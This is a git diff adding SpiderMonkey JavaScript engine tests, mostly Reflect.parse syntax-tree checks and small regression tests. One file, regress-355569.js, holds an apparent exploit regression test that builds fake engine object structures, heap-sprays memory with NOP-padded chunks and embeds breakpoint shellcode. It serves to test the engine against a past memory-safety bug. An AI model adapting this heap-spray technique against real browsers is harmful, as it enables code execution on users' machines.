diff --git a/js/src/tests/js1_8_5/reflect-parse/lexicals.js b/js/src/tests/js1_8_5/reflect-parse/lexicals.js
new file mode 100644
index 000000000..c42c43c32
--- /dev/null
+++ b/js/src/tests/js1_8_5/reflect-parse/lexicals.js
@@ -0,0 +1,19 @@
+// |reftest| skip-if(!xulRuntime.shell)
+function test() {
+
+// global let is var
+assertGlobalDecl("let {x:y} = foo;", letDecl([{ id: objPatt([assignProp("x", ident("y"))]),
+ init: ident("foo") }]));
+// function-global let is let
+assertLocalDecl("let {x:y} = foo;", letDecl([{ id: objPatt([assignProp("x", ident("y"))]),
+ init: ident("foo") }]));
+// block-local let is let
+assertBlockDecl("let {x:y} = foo;", letDecl([{ id: objPatt([assignProp("x", ident("y"))]),
+ init: ident("foo") }]));
+
+assertDecl("const {x:y} = foo;", constDecl([{ id: objPatt([assignProp("x", ident("y"))]),
+ init: ident("foo") }]));
+
+}
+
+runtest(test);
diff --git a/js/src/tests/js1_8_5/reflect-parse/location.js b/js/src/tests/js1_8_5/reflect-parse/location.js
new file mode 100644
index 000000000..c1ddb86de
--- /dev/null
+++ b/js/src/tests/js1_8_5/reflect-parse/location.js
@@ -0,0 +1,36 @@
+// |reftest| skip-if(!xulRuntime.shell)
+function test() {
+
+// Source location information
+var withoutFileOrLine = Reflect.parse("42");
+var withFile = Reflect.parse("42", {source:"foo.js"});
+var withFileAndLine = Reflect.parse("42", {source:"foo.js", line:111});
+
+Pattern({ source: null, start: { line: 1, column: 0 }, end: { line: 1, column: 2 } }).match(withoutFileOrLine.loc);
+Pattern({ source: "foo.js", start: { line: 1, column: 0 }, end: { line: 1, column: 2 } }).match(withFile.loc);
+Pattern({ source: "foo.js", start: { line: 111, column: 0 }, end: { line: 111, column: 2 } }).match(withFileAndLine.loc);
+
+var withoutFileOrLine2 = Reflect.parse("foo +\nbar");
+var withFile2 = Reflect.parse("foo +\nbar", {source:"foo.js"});
+var withFileAndLine2 = Reflect.parse("foo +\nbar", {source:"foo.js", line:111});
+
+Pattern({ source: null, start: { line: 1, column: 0 }, end: { line: 2, column: 3 } }).match(withoutFileOrLine2.loc);
+Pattern({ source: "foo.js", start: { line: 1, column: 0 }, end: { line: 2, column: 3 } }).match(withFile2.loc);
+Pattern({ source: "foo.js", start: { line: 111, column: 0 }, end: { line: 112, column: 3 } }).match(withFileAndLine2.loc);
+
+var nested = Reflect.parse("(-b + sqrt(sqr(b) - 4 * a * c)) / (2 * a)", {source:"quad.js"});
+var fourAC = nested.body[0].expression.left.right.arguments[0].right;
+
+Pattern({ source: "quad.js", start: { line: 1, column: 20 }, end: { line: 1, column: 29 } }).match(fourAC.loc);
+
+var generator = Reflect.parse("[ for \n(x of a) x+1 ]");
+Pattern({ start: { line: 2, column: 1 }, end: { line: 2, column: 2 } }).match(generator.body[0].expression.blocks[0].left.loc);
+
+// No source location
+
+assertEq(Reflect.parse("42", {loc:false}).loc, null);
+program([exprStmt(lit(42))]).assert(Reflect.parse("42", {loc:false}));
+
+}
+
+runtest(test);
diff --git a/js/src/tests/js1_8_5/reflect-parse/methodDefn.js b/js/src/tests/js1_8_5/reflect-parse/methodDefn.js
new file mode 100644
index 000000000..cad9b4443
--- /dev/null
+++ b/js/src/tests/js1_8_5/reflect-parse/methodDefn.js
@@ -0,0 +1,51 @@
+// |reftest| skip-if(!xulRuntime.shell)
+function test() {
+
+// Bug 924672: Method definitions
+assertExpr("b = { a() { } }", aExpr("=", ident("b"),
+ objExpr([{ key: ident("a"), value: funExpr(ident("a"), [], blockStmt([])), method:
+ true}])));
+
+assertExpr("b = { *a() { } }", aExpr("=", ident("b"),
+ objExpr([{ key: ident("a"), value: genFunExpr("es6", ident("a"), [], blockStmt([])), method:
+ true}])));
+
+// Method definitions without braces
+assertError("({ a() void 0 })", SyntaxError);
+assertError("({ a() 1 })", SyntaxError);
+assertError("({ a() false })", SyntaxError);
+
+// getters and setters
+
+assertExpr("({ get x() { return 42 } })",
+ objExpr([ { key: ident("x"),
+ value: funExpr(ident("get x"), [], blockStmt([returnStmt(lit(42))])),
+ kind: "get" } ]));
+assertExpr("({ set x(v) { return 42 } })",
+ objExpr([ { key: ident("x"),
+ value: funExpr(ident("set x"), [ident("v")], blockStmt([returnStmt(lit(42))])),
+ kind: "set" } ]));
+
+// Bug 1073809 - Getter/setter syntax with generators
+assertExpr("({*get() { }})", objExpr([{ type: "Property", key: ident("get"), method: true,
+ value: genFunExpr("es6", ident("get"), [], blockStmt([]))}]));
+assertExpr("({*set() { }})", objExpr([{ type: "Property", key: ident("set"), method: true,
+ value: genFunExpr("es6", ident("set"), [], blockStmt([]))}]));
+assertError("({*get foo() { }})", SyntaxError);
+assertError("({*set foo() { }})", SyntaxError);
+
+assertError("({ *get 1() {} })", SyntaxError);
+assertError("({ *get \"\"() {} })", SyntaxError);
+assertError("({ *get foo() {} })", SyntaxError);
+assertError("({ *get []() {} })", SyntaxError);
+assertError("({ *get [1]() {} })", SyntaxError);
+
+assertError("({ *set 1() {} })", SyntaxError);
+assertError("({ *set \"\"() {} })", SyntaxError);
+assertError("({ *set foo() {} })", SyntaxError);
+assertError("({ *set []() {} })", SyntaxError);
+assertError("({ *set [1]() {} })", SyntaxError);
+
+}
+
+runtest(test);
diff --git a/js/src/tests/js1_8_5/reflect-parse/newTarget.js b/js/src/tests/js1_8_5/reflect-parse/newTarget.js
new file mode 100644
index 000000000..3db2c2726
--- /dev/null
+++ b/js/src/tests/js1_8_5/reflect-parse/newTarget.js
@@ -0,0 +1,42 @@
+// |reftest| skip-if(!xulRuntime.shell)
+function testNewTarget() {
+
+ // new.target is currently valid inside any non-arrow, non-generator function
+ assertInFunctionExpr("new.target", newTarget());
+
+ // even with gratuitous whitespace.
+ assertInFunctionExpr(`new.
+ target`, newTarget());
+
+ // invalid in top-level scripts
+ assertError("new.target", SyntaxError);
+
+ // valid in arrow functions inside functions
+ assertInFunctionExpr("()=>new.target", arrowExpr([], newTarget()));
+ assertError("(() => new.target))", SyntaxError);
+
+ // valid in generators, too!
+ assertStmt("function *foo() { new.target; }", genFunDecl("es6", ident("foo"), [],
+ blockStmt([exprStmt(newTarget())])));
+
+ // new.target is a member expression. You should be able to call, invoke, or
+ // access properties of it.
+ assertInFunctionExpr("new.target.foo", dotExpr(newTarget(), ident("foo")));
+ assertInFunctionExpr("new.target[\"foo\"]", memExpr(newTarget(), literal("foo")));
+
+ assertInFunctionExpr("new.target()", callExpr(newTarget(), []));
+ assertInFunctionExpr("new new.target()", newExpr(newTarget(), []));
+
+ // assignment to newTarget is an error
+ assertError("new.target = 4", SyntaxError);
+
+ // only new.target is a valid production, no shorn names or other names
+ assertError("new.", SyntaxError);
+ assertError("new.foo", SyntaxError);
+ assertError("new.targe", SyntaxError);
+
+ // obj.new.target is still a member expression
+ assertExpr("obj.new.target", dotExpr(dotExpr(ident("obj"), ident("new")), ident("target")));
+}
+
+runtest(testNewTarget);
diff --git a/js/src/tests/js1_8_5/reflect-parse/proxyArgs.js b/js/src/tests/js1_8_5/reflect-parse/proxyArgs.js
new file mode 100644
index 000000000..b821d92a9
--- /dev/null
+++ b/js/src/tests/js1_8_5/reflect-parse/proxyArgs.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// |reftest| skip-if(!xulRuntime.shell)
+// bug 905774
+
+// Proxy options
+var opts = new Proxy({loc: false}, {});
+assertEq(Reflect.parse("0;", opts).loc === null, true);
+opts.loc = true;
+assertEq(Reflect.parse("0;", opts).loc !== null, true);
+delete opts.loc;
+assertEq(Reflect.parse("0;", opts).loc !== null, true); // default is true
+
+// Proxy builder
+var builder = {
+ program: function (body) { return body.join(); },
+ expressionStatement: function (expr) { return expr + ";" },
+ literal: function (val) { return "" + val; }
+};
+opts = {builder: new Proxy(builder, {})};
+assertEq(Reflect.parse("0xff;", opts), "255;");
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/reflect-parse/shell.js b/js/src/tests/js1_8_5/reflect-parse/shell.js
new file mode 100644
index 000000000..665e3fe59
--- /dev/null
+++ b/js/src/tests/js1_8_5/reflect-parse/shell.js
@@ -0,0 +1,66 @@
+loadRelativeToScript('PatternAsserts.js');
+
+// various combinations of identifiers and destructuring patterns:
+function makePatternCombinations(id, destr)
+{
+ return [
+ [ id(1) ],
+ [ id(1), id(2) ],
+ [ id(1), id(2), id(3) ],
+ [ id(1), id(2), id(3), id(4) ],
+ [ id(1), id(2), id(3), id(4), id(5) ],
+
+ [ destr(1) ],
+ [ destr(1), destr(2) ],
+ [ destr(1), destr(2), destr(3) ],
+ [ destr(1), destr(2), destr(3), destr(4) ],
+ [ destr(1), destr(2), destr(3), destr(4), destr(5) ],
+
+ [ destr(1), id(2) ],
+
+ [ destr(1), id(2), id(3) ],
+ [ destr(1), id(2), id(3), id(4) ],
+ [ destr(1), id(2), id(3), id(4), id(5) ],
+ [ destr(1), id(2), id(3), id(4), destr(5) ],
+ [ destr(1), id(2), id(3), destr(4) ],
+ [ destr(1), id(2), id(3), destr(4), id(5) ],
+ [ destr(1), id(2), id(3), destr(4), destr(5) ],
+
+ [ destr(1), id(2), destr(3) ],
+ [ destr(1), id(2), destr(3), id(4) ],
+ [ destr(1), id(2), destr(3), id(4), id(5) ],
+ [ destr(1), id(2), destr(3), id(4), destr(5) ],
+ [ destr(1), id(2), destr(3), destr(4) ],
+ [ destr(1), id(2), destr(3), destr(4), id(5) ],
+ [ destr(1), id(2), destr(3), destr(4), destr(5) ],
+
+ [ id(1), destr(2) ],
+
+ [ id(1), destr(2), id(3) ],
+ [ id(1), destr(2), id(3), id(4) ],
+ [ id(1), destr(2), id(3), id(4), id(5) ],
+ [ id(1), destr(2), id(3), id(4), destr(5) ],
+ [ id(1), destr(2), id(3), destr(4) ],
+ [ id(1), destr(2), id(3), destr(4), id(5) ],
+ [ id(1), destr(2), id(3), destr(4), destr(5) ],
+
+ [ id(1), destr(2), destr(3) ],
+ [ id(1), destr(2), destr(3), id(4) ],
+ [ id(1), destr(2), destr(3), id(4), id(5) ],
+ [ id(1), destr(2), destr(3), id(4), destr(5) ],
+ [ id(1), destr(2), destr(3), destr(4) ],
+ [ id(1), destr(2), destr(3), destr(4), id(5) ],
+ [ id(1), destr(2), destr(3), destr(4), destr(5) ]
+ ];
+}
+
+function runtest(main) {
+ try {
+ main();
+ if (typeof reportCompare === 'function')
+ reportCompare(true, true);
+ } catch (exc) {
+ print(exc.stack);
+ throw exc;
+ }
+}
diff --git a/js/src/tests/js1_8_5/reflect-parse/stackOverflow.js b/js/src/tests/js1_8_5/reflect-parse/stackOverflow.js
new file mode 100644
index 000000000..5fadbde4d
--- /dev/null
+++ b/js/src/tests/js1_8_5/reflect-parse/stackOverflow.js
@@ -0,0 +1,8 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// Bug 632024: no crashing on stack overflow
+try {
+ Reflect.parse(Array(3000).join("x + y - ") + "z")
+} catch (e) { }
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/js1_8_5/reflect-parse/statements.js b/js/src/tests/js1_8_5/reflect-parse/statements.js
new file mode 100644
index 000000000..1df86508b
--- /dev/null
+++ b/js/src/tests/js1_8_5/reflect-parse/statements.js
@@ -0,0 +1,95 @@
+// |reftest| skip-if(!xulRuntime.shell)
+function test() {
+
+// statements
+
+assertStmt("throw 42", throwStmt(lit(42)));
+assertStmt("for (;;) break", forStmt(null, null, null, breakStmt(null)));
+assertStmt("for (x; y; z) break", forStmt(ident("x"), ident("y"), ident("z"), breakStmt(null)));
+assertStmt("for (var x; y; z) break", forStmt(varDecl([{ id: ident("x"), init: null }]), ident("y"), ident("z")));
+assertStmt("for (var x = 42; y; z) break", forStmt(varDecl([{ id: ident("x"), init: lit(42) }]), ident("y"), ident("z")));
+assertStmt("for (x; ; z) break", forStmt(ident("x"), null, ident("z"), breakStmt(null)));
+assertStmt("for (var x; ; z) break", forStmt(varDecl([{ id: ident("x"), init: null }]), null, ident("z")));
+assertStmt("for (var x = 42; ; z) break", forStmt(varDecl([{ id: ident("x"), init: lit(42) }]), null, ident("z")));
+assertStmt("for (x; y; ) break", forStmt(ident("x"), ident("y"), null, breakStmt(null)));
+assertStmt("for (var x; y; ) break", forStmt(varDecl([{ id: ident("x"), init: null }]), ident("y"), null, breakStmt(null)));
+assertStmt("for (var x = 42; y; ) break", forStmt(varDecl([{ id: ident("x"), init: lit(42) }]), ident("y"), null, breakStmt(null)));
+assertStmt("for (var x in y) break", forInStmt(varDecl([{ id: ident("x"), init: null }]), ident("y"), breakStmt(null)));
+assertStmt("for (x in y) break", forInStmt(ident("x"), ident("y"), breakStmt(null)));
+assertStmt("{ }", blockStmt([]));
+assertStmt("{ throw 1; throw 2; throw 3; }", blockStmt([ throwStmt(lit(1)), throwStmt(lit(2)), throwStmt(lit(3))]));
+assertStmt(";", emptyStmt);
+assertStmt("if (foo) throw 42;", ifStmt(ident("foo"), throwStmt(lit(42)), null));
+assertStmt("if (foo) throw 42; else true;", ifStmt(ident("foo"), throwStmt(lit(42)), exprStmt(lit(true))));
+assertStmt("if (foo) { throw 1; throw 2; throw 3; }",
+ ifStmt(ident("foo"),
+ blockStmt([throwStmt(lit(1)), throwStmt(lit(2)), throwStmt(lit(3))]),
+ null));
+assertStmt("if (foo) { throw 1; throw 2; throw 3; } else true;",
+ ifStmt(ident("foo"),
+ blockStmt([throwStmt(lit(1)), throwStmt(lit(2)), throwStmt(lit(3))]),
+ exprStmt(lit(true))));
+
+
+assertStmt("foo: for(;;) break foo;", labStmt(ident("foo"), forStmt(null, null, null, breakStmt(ident("foo")))));
+assertStmt("foo: for(;;) continue foo;", labStmt(ident("foo"), forStmt(null, null, null, continueStmt(ident("foo")))));
+assertStmt("with (obj) { }", withStmt(ident("obj"), blockStmt([])));
+assertStmt("with (obj) { obj; }", withStmt(ident("obj"), blockStmt([exprStmt(ident("obj"))])));
+assertStmt("while (foo) { }", whileStmt(ident("foo"), blockStmt([])));
+assertStmt("while (foo) { foo; }", whileStmt(ident("foo"), blockStmt([exprStmt(ident("foo"))])));
+assertStmt("do { } while (foo);", doStmt(blockStmt([]), ident("foo")));
+assertStmt("do { foo; } while (foo)", doStmt(blockStmt([exprStmt(ident("foo"))]), ident("foo")));
+assertStmt("switch (foo) { case 1: 1; break; case 2: 2; break; default: 3; }",
+ switchStmt(ident("foo"),
+ [ caseClause(lit(1), [ exprStmt(lit(1)), breakStmt(null) ]),
+ caseClause(lit(2), [ exprStmt(lit(2)), breakStmt(null) ]),
+ defaultClause([ exprStmt(lit(3)) ]) ]));
+assertStmt("switch (foo) { case 1: 1; break; case 2: 2; break; default: 3; case 42: 42; }",
+ switchStmt(ident("foo"),
+ [ caseClause(lit(1), [ exprStmt(lit(1)), breakStmt(null) ]),
+ caseClause(lit(2), [ exprStmt(lit(2)), breakStmt(null) ]),
+ defaultClause([ exprStmt(lit(3)) ]),
+ caseClause(lit(42), [ exprStmt(lit(42)) ]) ]));
+assertStmt("try { } catch (e) { }",
+ tryStmt(blockStmt([]),
+ [],
+ catchClause(ident("e"), null, blockStmt([])),
+ null));
+assertStmt("try { } catch (e) { } finally { }",
+ tryStmt(blockStmt([]),
+ [],
+ catchClause(ident("e"), null, blockStmt([])),
+ blockStmt([])));
+assertStmt("try { } finally { }",
+ tryStmt(blockStmt([]),
+ [],
+ null,
+ blockStmt([])));
+assertStmt("try { } catch (e if foo) { } catch (e if bar) { } finally { }",
+ tryStmt(blockStmt([]),
+ [ catchClause(ident("e"), ident("foo"), blockStmt([])),
+ catchClause(ident("e"), ident("bar"), blockStmt([])) ],
+ null,
+ blockStmt([])));
+assertStmt("try { } catch (e if foo) { } catch (e if bar) { } catch (e) { } finally { }",
+ tryStmt(blockStmt([]),
+ [ catchClause(ident("e"), ident("foo"), blockStmt([])),
+ catchClause(ident("e"), ident("bar"), blockStmt([])) ],
+ catchClause(ident("e"), null, blockStmt([])),
+ blockStmt([])));
+
+
+// Bug 632028: yield outside of a function should throw
+(function() {
+ var threw = false;
+ try {
+ Reflect.parse("yield 0");
+ } catch (expected) {
+ threw = true;
+ }
+ assertEq(threw, true);
+})();
+
+}
+
+runtest(test);
diff --git a/js/src/tests/js1_8_5/reflect-parse/templateStrings.js b/js/src/tests/js1_8_5/reflect-parse/templateStrings.js
new file mode 100644
index 000000000..c87ba96b8
--- /dev/null
+++ b/js/src/tests/js1_8_5/reflect-parse/templateStrings.js
@@ -0,0 +1,40 @@
+// |reftest| skip-if(!xulRuntime.shell)
+function test() {
+
+// template strings
+assertStringExpr("`hey there`", literal("hey there"));
+assertStringExpr("`hey\nthere`", literal("hey\nthere"));
+assertExpr("`hey${\"there\"}`", templateLit([lit("hey"), lit("there"), lit("")]));
+assertExpr("`hey${\"there\"}mine`", templateLit([lit("hey"), lit("there"), lit("mine")]));
+assertExpr("`hey${a == 5}mine`", templateLit([lit("hey"), binExpr("==", ident("a"), lit(5)), lit("mine")]));
+assertExpr("`hey${`there${\"how\"}`}mine`", templateLit([lit("hey"),
+ templateLit([lit("there"), lit("how"), lit("")]), lit("mine")]));
+assertExpr("func`hey`", taggedTemplate(ident("func"), template(["hey"], ["hey"])));
+assertExpr("func`hey${\"4\"}there`", taggedTemplate(ident("func"),
+ template(["hey", "there"], ["hey", "there"], lit("4"))));
+assertExpr("func`hey${\"4\"}there${5}`", taggedTemplate(ident("func"),
+ template(["hey", "there", ""], ["hey", "there", ""],
+ lit("4"), lit(5))));
+assertExpr("func`hey\r\n`", taggedTemplate(ident("func"), template(["hey\n"], ["hey\n"])));
+assertExpr("func`hey${4}``${5}there``mine`",
+ taggedTemplate(taggedTemplate(taggedTemplate(
+ ident("func"), template(["hey", ""], ["hey", ""], lit(4))),
+ template(["", "there"], ["", "there"], lit(5))),
+ template(["mine"], ["mine"])));
+
+// multi-line template string - line numbers
+var node = Reflect.parse("`\n\n ${2}\n\n\n`");
+Pattern({loc:{start:{line:1, column:0}, end:{line:6, column:1}, source:null}, type:"Program",
+body:[{loc:{start:{line:1, column:0}, end:{line:6, column:1}, source:null},
+type:"ExpressionStatement", expression:{loc:{start:{line:1, column:0}, end:{line:6, column:1},
+source:null}, type:"TemplateLiteral", elements:[{loc:{start:{line:1, column:0}, end:{line:3,
+column:5}, source:null}, type:"Literal", value:"\n\n "}, {loc:{start:{line:3, column:5},
+end:{line:3, column:6}, source:null}, type:"Literal", value:2}, {loc:{start:{line:3, column:6},
+end:{line:6, column:1}, source:null}, type:"Literal", value:"\n\n\n"}]}}]}).match(node);
+
+
+assertStringExpr("\"hey there\"", literal("hey there"));
+
+}
+
+runtest(test);
diff --git a/js/src/tests/js1_8_5/regress/browser.js b/js/src/tests/js1_8_5/regress/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/browser.js
diff --git a/js/src/tests/js1_8_5/regress/regress-355569.js b/js/src/tests/js1_8_5/regress/regress-355569.js
new file mode 100644
index 000000000..b14c83cb6
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-355569.js
@@ -0,0 +1,127 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var bug = 355569;
+var actual = '';
+var expect = '';
+
+printBugNumber (bug);
+printStatus (summary);
+
+var targetAddress = 0x12030010;
+var sprayParams = {
+ chunkSize: 16 * 1024 * 1024,
+ chunkCount: 16,
+ chunkMarker: 0xdeadface,
+ chunkAlign: 0x1000,
+ reservedSize: 1024
+};
+
+function makeExploitCode() {
+ /* mov eax, 0xdeadfeed; mov ebx, eax; mov ecx, eax; mov edx, eax; int3 */
+ return "\uEDB8\uADFE\u89DE\u89C3\u89C1\uCCC2";
+}
+
+/*==========================================================================*/
+/*==========================================================================*/
+
+function packData(template, A) {
+ var n = 0, result = "", vl;
+ for(var i = 0; i < template.length; i++) {
+ var ch = template.charAt(i);
+ if(ch == "s" || ch == "S") {
+ vl = A[n++] >>> 0; result += String.fromCharCode(vl & 0xffff);
+ } else if(ch == "l" || ch == "L") { // XXX endian
+ vl = A[n++] >>> 0; result += String.fromCharCode(vl & 0xffff, vl >> 16);
+ } else if(ch == "=") {
+ result += String(A[n++]);
+ }
+ }
+ return result;
+}
+function buildStructure(worker, address) {
+ var offs = {}, result = "", context = {
+ append: function(k, v) { offs[k] = result.length * 2; result += v; },
+ address: function(k) { return address + ((k && offs[k]) || 0); }
+ }; worker(context); result = ""; worker(context); return result;
+}
+function repeatToLength(s, L) {
+ if(L <= s.length) { return s.substring(0, L); }
+ while(s.length <= L/2) { s += s; }
+ return s + s.substring(0, L - s.length);
+}
+function sprayData(data, params, rooter) {
+ var marker = packData("L", [ params.chunkMarker ]);
+ data += repeatToLength("\u9090", params.chunkAlign / 2 - data.length);
+ data = repeatToLength(data, (params.chunkSize - params.reservedSize) / 2);
+ for(var i = 0; i < params.chunkCount; i++) {
+ rooter[i] = marker + data + i;
+ }
+}
+
+function T_JSObject(map, slots)
+{ return packData("LL", arguments); }
+function T_JSObjectMap(nrefs, ops, nslots, freeslot)
+{ return packData("LLLL", arguments); }
+function T_JSObjectOps(
+ newObjectMap, destroyObjectMap, lookupProperty, defineProperty,
+ getProperty, setProperty, getAttributes, setAttributes,
+ deleteProperty, defaultValue, enumerate, checkAccess,
+ thisObject, dropProperty, call, construct,
+ xdrObject, hasInstance, setProto, setParent,
+ mark, clear, getRequiredSlot, setRequiredSlot
+) { return packData("LLLLLLLL LLLLLLLL LLLLLLLL", arguments); }
+
+function T_JSXML_LIST(
+ object, domnode, parent, name, xml_class, xml_flags,
+ kids_length, kids_capacity, kids_vector, kids_cursors,
+ xml_target, xml_targetprop
+) { return packData("LLLLSS LLLL LL", arguments); }
+function T_JSXML_ELEMENT(
+ object, domnode, parent, name, xml_class, xml_flags,
+ kids_length, kids_capacity, kids_vector, kids_cursors,
+ nses_length, nses_capacity, nses_vector, nses_cursors,
+ atrs_length, atrs_capacity, atrs_vector, atrs_cursors
+) { return packData("LLLLSS LLLL LLLL LLLL", arguments); }
+
+/*==========================================================================*/
+/*==========================================================================*/
+
+function makeExploitData(address) {
+ return buildStructure(function(ctx) {
+ ctx.append("xml-list",
+ T_JSXML_LIST(0, 0, 0, 0, 0, 0, 1, 0, ctx.address("xml-kids-vector"), 0, 0, 0));
+ ctx.append("xml-kids-vector",
+ packData("L", [ ctx.address("xml-element") ]));
+ ctx.append("xml-element",
+ T_JSXML_ELEMENT(ctx.address("object"), 0, 0, 0, 1, 0, 0, 0, 0, 0, /*c*/ 0, 0, 0, 0, /*d*/ 0, 0, 0, 0));
+ ctx.append("object",
+ T_JSObject(ctx.address("object-map"), 0));
+ ctx.append("object-map",
+ T_JSObjectMap(0, ctx.address("object-ops"), 0, 0));
+ ctx.append("object-ops",
+ T_JSObjectOps(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ctx.address("exploit-code"), 0));
+ ctx.append("exploit-code",
+ makeExploitCode(ctx));
+ }, address);
+}
+
+function exploit() {
+ sprayData(makeExploitData(targetAddress), sprayParams, this.rooter = {});
+ var numobj = new Number(targetAddress >> 1);
+ printStatus("probably not exploitable");
+}
+
+try
+{
+ exploit();
+}
+catch(ex)
+{
+}
+
+reportCompare(expect, actual);
+
diff --git a/js/src/tests/js1_8_5/regress/regress-373843.js b/js/src/tests/js1_8_5/regress/regress-373843.js
new file mode 100644
index 000000000..677e33353
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-373843.js
@@ -0,0 +1,13 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+if (typeof disassemble != 'undefined')
+{
+ var func = disassemble(function() { return "c\\d"; })
+
+ // The disassembled function will contain a bytecode "string" with the content of the string next to it.
+ // Check if that string isn't over-escaped i.e. \\ isn't escaped to \\\\ .
+ assertEq(func.indexOf("\\\\\\\\"), -1)
+}
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-383902.js b/js/src/tests/js1_8_5/regress/regress-383902.js
new file mode 100644
index 000000000..ed9559746
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-383902.js
@@ -0,0 +1,41 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var c = 0;
+
+function f(a) {
+ const b = a;
+ try {
+ eval('"use strict"; b = 1 + a; c = 1');
+ assertEq(0, 1);
+ } catch (e) {
+ assertEq(e.name, 'TypeError');
+ assertEq(0, c);
+ assertEq(a, b);
+ }
+}
+
+var w = 42;
+f(w);
+
+c = 2;
+try {
+ eval('"use strict"; function g(x) { const y = x; y = 1 + x; } c = 3');
+} catch (e) {
+ assertEq(0, 1);
+}
+
+c = 4;
+try {
+ eval('"use strict"; const z = w; z = 1 + w; c = 5');
+ assertEq(0, 1);
+} catch (e) {
+ assertEq(e.name, 'TypeError');
+ assertEq(4, c);
+ assertEq('z' in this, false);
+}
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/regress/regress-469758.js b/js/src/tests/js1_8_5/regress/regress-469758.js
new file mode 100644
index 000000000..27fa1ed8a
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-469758.js
@@ -0,0 +1,14 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var err;
+try {
+ {let i=1}
+ {let j=1; [][j][2]}
+} catch (e) {
+ err = e;
+}
+assertEq(err instanceof TypeError, true);
+assertEq(err.message, "[][j] is undefined");
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/regress/regress-477053.js b/js/src/tests/js1_8_5/regress/regress-477053.js
new file mode 100644
index 000000000..934a502cc
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-477053.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+var summary = 'Do not assert: v.isString()';
+var BUGNUMBER = 477053;
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+
+try
+{
+ function f() { eval("with(arguments)throw [];"); }
+ f();
+}
+catch(ex)
+{
+}
+
+reportCompare(expect, actual);
+
diff --git a/js/src/tests/js1_8_5/regress/regress-500528.js b/js/src/tests/js1_8_5/regress/regress-500528.js
new file mode 100644
index 000000000..bf2908e20
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-500528.js
@@ -0,0 +1,22 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+// This test appeared in bug 497789 comment 78.
+
+var a = {x: 'a'},
+ b1 = Object.create(a),
+ c1 = Object.create(b1),
+ b2 = Object.create(a),
+ c2 = Object.create(b2);
+
+b2.x = 'b'; // foreshadowing a.x
+
+var s = '';
+for each (var obj in [c1, c2])
+ s += obj.x;
+assertEq(s, 'ab');
+
+reportCompare(0, 0, "Property cache soundness: objects with the same shape but different prototypes.");
diff --git a/js/src/tests/js1_8_5/regress/regress-533876.js b/js/src/tests/js1_8_5/regress/regress-533876.js
new file mode 100644
index 000000000..e44bc8a4f
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-533876.js
@@ -0,0 +1,23 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors: Gary Kwong and Jason Orendorff
+ */
+
+var savedEval = eval;
+var x = [0];
+eval();
+
+x.__proto__ = this; // x has non-dictionary scope
+try {
+ DIE;
+} catch(e) {
+}
+
+delete eval; // force dictionary scope for global
+gc();
+eval = savedEval;
+var f = eval("(function () { return /x/; })");
+x.watch('x', f); // clone property from global to x, including SPROP_IN_DICTIONARY flag
+
+reportCompare("ok", "ok", "bug 533876");
diff --git a/js/src/tests/js1_8_5/regress/regress-541255-3.js b/js/src/tests/js1_8_5/regress/regress-541255-3.js
new file mode 100644
index 000000000..e352429b2
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-541255-3.js
@@ -0,0 +1,13 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors: Gary Kwong and Jason Orendorff
+ */
+
+function f(y) {
+ eval("{ let z=2, w=y; (function () { w.p = 7; })(); }");
+}
+var x = {};
+f(x);
+assertEq(x.p, 7);
+reportCompare(0, 0, "");
diff --git a/js/src/tests/js1_8_5/regress/regress-541455.js b/js/src/tests/js1_8_5/regress/regress-541455.js
new file mode 100644
index 000000000..7ee3a4015
--- /dev/null
+++ b/js/src/tests/js1_8_5/regress/regress-541455.js
@@ -0,0 +1,12 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors: Gary Kwong and Jason Orendorff
+ */
+
+function f(x) { return eval('"mumble"; x + 42'); }
+
+var expect = true;
+var actual = ('' + f).indexOf("mumble") >= 0;
+
+reportCompare(expect, actual, "unknown directive in eval code wrongly dropped");
diff --git a/js/src/tests/js1_8_5/regress/regress-548276.js b/js/src/tests/js1_8_5/regress/regress-548276.js
new file mode 100644
index 000000000..5e306eba1
--- /dev/null
